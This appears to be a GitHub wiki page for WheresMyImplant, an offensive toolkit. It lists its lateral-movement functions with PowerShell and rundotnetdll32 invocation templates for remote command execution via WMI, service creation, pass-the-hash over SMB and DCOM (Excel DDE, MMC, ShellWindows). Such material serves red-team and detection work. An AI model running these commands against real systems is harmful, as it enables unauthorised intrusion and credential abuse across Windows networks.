Skip to content

Lateral Movement Modules

Alexander edited this page Oct 16, 2018 · 1 revision

WMI - Method

Overview

Executes a WMI Method on the remote System.

PowerShell

[WheresMyImplant.Lateral]::WMIMethod("Target", "Username", "Password", "WMIClass", "WMIMethod", "Arguments", "Argument Delimiter")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,WMIMethod "Target","Username","Password","WMIClass","WMIMethod","Arguments","Argument Delimiter"

WMI - Query

Overview

Executes a WMI Query on the remote System.

PowerShell

[WheresMyImplant.Lateral]::WMIQuery("Target", "Username", "Password", "Query")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,WMIQuery "Target","Username","Password","Query"

PSExecCommand

Overview

Executes a command via Windows Service Creation. Uses passthrough authentication.

PowerShell

[WheresMyImplant.Lateral]::PSExecCommand("Target", "Execute", "ComSpec")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,PSExecCommand "Target","Execute","ComSpec"

PTH SMB Client - List Directory

Overview

Lists the contents of a remote directory via Pass-The-Hash. Based off of Invoke-TheHash.

PowerShell

[WheresMyImplant.Lateral]::PTHSMBClientList("UNCPath", "Domain", "Username", "Hash")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,PTHSMBClientList "UNCPath","Domain","Username","Hash"

PTH SMB Client - Get File

Overview

Retrieve a file to a remote directory via Pass-The-Hash. Based off of Invoke-TheHash.

PowerShell

[WheresMyImplant.Lateral]::PTHSMBClientGet("UNCPathSource","DestinationPath","Domain","Username","Hash")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,PTHSMBClientGet "UNCPathSource","DestinationPath","Domain","Username","Hash"

PTH SMB Client - Put File

Overview

Put a file to a remote directory via Pass-The-Hash. Based off of Invoke-TheHash.

PowerShell

[WheresMyImplant.Lateral]::PTHSMBClientPut("SourcePath","UNCPathDestination","Domain","Username","Hash")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,PTHSMBClientPut "SourcePath","UNCPathDestination","Domain","Username","Hash"

PTH SMB Client - Delete File

Overview

Deletes a file from a remote directory via Pass-The-Hash. Based off of Invoke-TheHash.

PowerShell

[WheresMyImplant.Lateral]::PTHSMBClientDelete("UNCPathDestination","Domain","Username","Hash")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,PTHSMBClientDelete "UNCPathDestination","Domain","Username","Hash"

PSExecCommand - PTH

Overview

Executes a command through Windows Service Creation via Pass-The-Hash. Based off of Invoke-TheHash.

PowerShell

[WheresMyImplant.Lateral]::PTHSMBExec("Target", "Command", "Domain", "Username", "Hash")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,PTHSMBExec "Target","Command","Domain","Username","Hash"

PSExecCommand - PTH

Overview

Executes a command through WMI Win32_Process via Pass-The-Hash. Based off of Invoke-TheHash.

PowerShell

[WheresMyImplant.Lateral]::PTHWMIExec("Target", "Command", "Domain","Username","Hash")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,PTHWMIExec "Target","Command","Domain","Username","Hash"

DCOM - Excel DDE

Overview

Executes a command through DCOM via Excel's DDE provider.

PowerShell

[WheresMyImplant.Lateral]::DComExcelDDE("Target", "Command", "Arguments")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,DComExcelDDE "Target","Command","Arguments"

DCOM - MMC

Overview

Executes a command through DCOM via MMC.

PowerShell

[WheresMyImplant.Lateral]::DComMMC("Target", "Command", "Arguments", "IsVisible")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,DComMMC "Target","Command","Arguments","IsVisible"

DCOM - ShellWindows

Overview

Executes a command through DCOM via ShellWindows.

PowerShell

[WheresMyImplant.Lateral]::DComShellWindows("Target", "Command", "Arguments")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,DComShellWindows "Target","Command","Arguments",

DCOM - ShellBrowserWindow

Overview

Executes a command through DCOM via MMC.

PowerShell

[WheresMyImplant.Lateral]::DComShellBrowserWindow("Target", "Command", "Arguments")

rundotnetdll32

rundotnetdll32.exe WheresMyImplant.dll,WheresMyImplant,Lateral,DComShellBrowserWindow "Target","Command","Arguments"